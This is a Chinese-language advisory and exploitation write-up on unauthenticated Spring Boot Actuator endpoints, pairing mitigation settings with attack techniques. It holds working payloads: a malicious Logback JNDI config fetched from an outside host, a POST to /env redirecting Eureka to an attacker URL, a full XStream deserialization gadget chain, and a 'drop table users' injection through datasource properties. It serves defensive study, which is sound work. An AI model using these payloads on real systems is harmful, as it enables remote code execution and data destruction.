Spring Boot Actuator漏洞描述
- 事件
2019年2月28日，阿里云云盾应急响应中心监测到有国外安全研究人员披露Spring Boot Actuator模块中间件存在未授权访问远程代码执行漏洞。
- 漏洞描述
Actuator是Spring Boot提供的服务监控和管理中间件，默认配置会出现接口未授权访问，部分接口会泄露网站流量信息和内存信息等，使用Jolokia库特性甚至可以远程执行任意代码，获取服务器权限。
- 漏洞评级
严重
- 影响版本
全版本且无安全配置
-
安全建议
禁用所有接口，将配置改成：endpoints.enabled = false
或者引入spring-boot-starter-security依赖：
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-security</artifactId>
</dependency>
- 开启security功能，配置访问权限验证，类似配置如下：
management.port=8099
management.security.enabled=true
security.user.name=xxxxx
security.user.password=xxxxxx
二、基本原理
Spring Boot Framework包含许多称为执行器的功能，可帮助您在将Web应用程序投入生产时监视和管理Web应用程序。它们旨在用于审计，运行状况和指标收集，它们还可能在配置错误时打开服务器的隐藏门。
当Spring Boot应用程序运行时，它会自动将多个端点（例如'/ health'，'/ trace'，'/ beans'，'/ env'等）注册到路由进程中。对于Spring Boot 1 - 1.4，它们无需身份验证即可访问，从而导致严重的安全问题。从Spring 1.5版开始，默认情况下，除“/ health”和“/ info”之外的所有端点都被视为敏感和安全，但应用程序开发人员通常会禁用此安全性。
-
以下Actuator端点可能具有安全隐患，从而导致可能的漏洞：
- / dump - 显示线程转储（包括堆栈跟踪）
- / trace - 显示最后几条HTTP消息（可能包含会话标识符）
- / logfile - 输出日志文件的内容
- / shutdown - 关闭应用程序
- / mappings - 显示所有MVC控制器映射
- / env - 提供对配置环境的访问
- / restart - 重新启动应用程序
对于Spring 1x，它们在根URL下注册，并且在2x中它们移动到“/ actuator /”基本路径。
- 开发：
大多数执行器仅支持GET请求，只是显示敏感的配置数据，但其中一些对于shell猎人来说特别有趣：
- 1.通过'/ jolokia'执行远程代码
如果Jolokia库位于目标应用程序类路径中，Spring Boot会在'/ jolokia'执行器端点下自动公开它。Jolokia允许对所有已注册的MBean进行HTTP访问，并且旨在执行您可以使用JMX执行的相同操作。可以使用URL列出所有可用的MBean操作：
同样，大多数MBeans操作只是揭示了一些系统数据，但其中一个特别有趣：
image
Logback库提供的“ reloadByURL ”操作允许我们从外部URL重新加载日志记录配置。只需导航到以下内容即可触发：
那么，我们为什么要关心日志配置呢？主要是因为两件事：
- Config具有XML格式，当然，Logback在启用外部实体的情况下对其进行解析，因此它很容易受到盲目的XXE攻击。
- Logback配置具有“从JNDI获取变量”功能。在XML文件中，我们可以包含一个标签，如' <insertFromJNDI env-entry-name =“java：comp / env / appName”as =“appName”/> '，name属性将传递给DirContext.lookup（ ） 方法。如果我们可以在.lookup（）函数中提供任意名称，我们甚至不需要XXE或HeapDump，因为它为我们提供了完整的远程执行代码。
这个怎么运作：
- 1.攻击者请求上述URL执行'qos.logback.classic.jmx.JMXConfigurator'类提供的'reloadByURL'函数。
- 2.“reloadByURL”函数从http://artsploit.com/logback.xml下载新配置并将其解析为Logback配置。此恶意配置应具有以下内容：
<configuration>
<insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" />
</configuration>
- 3.在易受攻击的服务器上解析此文件时，它会创建与“env-entry-name”参数值中指定的攻击者控制的LDAP服务器的连接，从而导致JNDI解析。恶意LDAP服务器可以返回具有“引用”类型的对象，以触发在目标应用程序上执行所提供的字节码。这篇MicroFocus研究论文很好地解释了JNDI攻击。在新的JNDI开发技术（在我们的博客如前所述）也工作在这里，因为Tomcat是在Spring框架启动默认的应用程序服务器。
- 2.通过'/ env'配置修改
如果Spring Cloud Libraries在类路径中，则'/ env'端点允许您修改Spring环境属性。注释为“ @ConfigurationProperties”的所有bean 都可以修改和重新绑定。我们可以控制的许多（但不是全部）属性列在'/ configprops'执行器端点上。实际上，它们有很多，但是我们需要修改什么才能实现某些目标。花了几天玩他们后我们发现了这个：
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
此属性将Eureka serviceURL修改为任意值。Eureka Server通常用作发现服务器，几乎所有Spring Cloud应用程序都在其中注册并向其发送状态更新。如果幸运的话，目标类路径中的Eureka-Client <1.8.7（通常包含在Spring Cloud Netflix中），则可以利用其中的XStream反序列化漏洞。您需要做的就是通过'/ env' 将'eureka.client.serviceUrl.defaultZone'属性设置为您的服务器URL（http://artsploit.com/n/xstream），然后调用'/ refresh'端点。之后，您的服务器应该使用以下内容提供XStream有效内容：
<linked-hash-set>
<jdk.nashorn.internal.objects.NativeString>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
<string>/Applications/Calculator.app/Contents/MacOS/Calculator</string>
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer></ibuffer>
</is>
</dataSource>
</dataHandler>
</value>
</jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>
此XStream有效负载是Marshalsec研究中仅限ImageIO JDK的小工具链的略微修改版本。这里唯一的区别是使用LinkedHashSet来触发'jdk.nashorn.internal.objects.NativeString.hashCode（）'方法。原始有效负载利用java.lang.Map来实现相同的行为，但Eureka的XStream配置有一个自定义的地图转换器，使其无法使用。上面的有效负载根本不使用Maps，可用于实现远程执行代码而无需额外的约束。
使用Spring Actuators，即使您无法访问内部Eureka服务器，也可以利用此漏洞; 您只需要一个“/ env”端点。
- 其他有用的设置：
spring.datasource.tomcat.validationQuery = drop + table + users - 允许您指定任何SQL查询，它将自动对当前数据库执行。它可以是任何语句，包括插入，更新或删除。
image.png
spring.datasource.tomcat.url = jdbc：hsqldb：https：// localhost：3002 / xdb - 允许您修改当前的JDBC连接字符串。
最后一个看起来很棒，但问题是当运行数据库连接的应用程序已经建立时，只更新JDBC字符串没有任何效果。希望在这种情况下还有另一个属性可以帮助我们：
spring.datasource.tomcat.max-active = 777
我们在这里可以使用的技巧是增加与数据库的同时连接数。因此，我们可以更改JDBC连接字符串，增加连接数，然后向应用程序发送许多请求以模拟重负载。在负载下，应用程序将使用更新的恶意JDBC字符串创建新的数据库连接。我在Mysql本地测试了这种技术，它就像一个魅力。
image.png
除此之外，还有其他一些看起来很有趣的属性，但实际上并没有什么用处：
spring.datasource.url - 数据库连接字符串（仅用于第一个连接）
spring.datasource.jndiName - 数据库JNDI字符串（仅用于第一个连接）
spring.datasource.tomcat.dataSourceJNDI - 数据库JNDI字符串（根本不使用）
spring.cloud.config.uri = http://artsploit.com/ - spring cloud config url（app启动后没有任何效果，只使用初始值。）
除非调用'/ restart'端点，否则这些属性没有任何效果。此端点重新启动所有ApplicationContext，但默认情况下禁用它。
还有很多其他有趣的属性，但大多数属性在更改后不会立即生效。
NB在Spring Boot 2x中，通过'/ env'端点修改属性的请求格式略有不同（它使用的是json格式），但想法是一样的。
易受攻击的应用程序示例：
如果要在本地测试此漏洞，我在Github页面上创建了一个简单的Spring Boot应用程序。所有有效负载都应该在那里工作，除了数据库设置（除非你配置它）。
黑匣子发现：
可以在此处找到默认执行器的完整列表：https：//github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt。请记住，应用程序开发人员可以使用@Endpoint批注创建自己的端点。
